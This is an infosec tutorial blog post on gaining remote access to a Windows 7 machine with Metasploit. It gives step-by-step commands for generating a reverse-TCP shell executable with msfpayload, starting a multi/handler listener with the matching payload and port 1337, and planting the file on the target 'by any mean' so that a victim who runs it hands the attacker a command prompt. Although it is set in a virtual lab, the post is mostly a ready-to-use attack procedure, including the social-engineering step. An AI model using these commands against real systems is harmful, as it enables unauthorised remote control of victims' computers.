top of page

Accessing Windows by making exe file in Metasploit

  • Parag Shimpi
  • Aug 30, 2019
  • 2 min read

Today, we will try to get the access of Windows system by making an executable (exe) file in metasploit as follows.



Deliverable:


Lab Set up

  • Virtualization using Oracle Virtual box

  • Attacker’s System: Kali Linux

  • Target System : Windows 7

In Kali Linux --> Terminal


1. To create an executable (exe) file.

~# msfpayload windows/shell/reverse_tcp LHOST = [IP address of Attacker System] LPORT = 1337 X > /root/Desktop/[newfilename.exe] (Enter)


Here, LHOST --> Local Host i.e. Attacker System

LPORT --> Local Port for listening

X --> to stop or terminate command

/root/Desktop --> path or directory to store new exe file


It will create an executable (exe) file on desktop in Kali Linux.



2. Start msfconsole

~# msfconsole (Enter)



3. Create a handler to handle the connection from target.

> use exploit/multi/handler (Enter)



4. Set the same payload that is set while making the executable (exe) file.

> set payload windows/shell/reverse_tcp (Enter)


> show options (Enter)



5. Set Local host IP address.

> set LHOST [IP address of Attacker System] (Enter)



6. Set Local listening port that was set while making the executable (exe) file.

> set LPORT 1337 (enter)



7. Now exploit

> exploit (Enter)



8. Meanwhile try to plant this exe file created in step 1 into target Windows 7 system by any mean.



9. When somebody clicks on that exe (planted in windows 7 system), a reverse tcp connection from target Windows 7 system to Attacker Kali Linux system will be made. And you will get command prompt of the target Windows 7 system.



10. Thus we get the shell i.e. command prompt of the victim. Now any commands on Windows 7 can be performed from Kali Linux.


 
 
 

Comments


 © InfoSec Tutorials by Parag Shimpi 2019

  • Facebook Clean Grey
  • Twitter Clean Grey
  • LinkedIn Clean Grey
bottom of page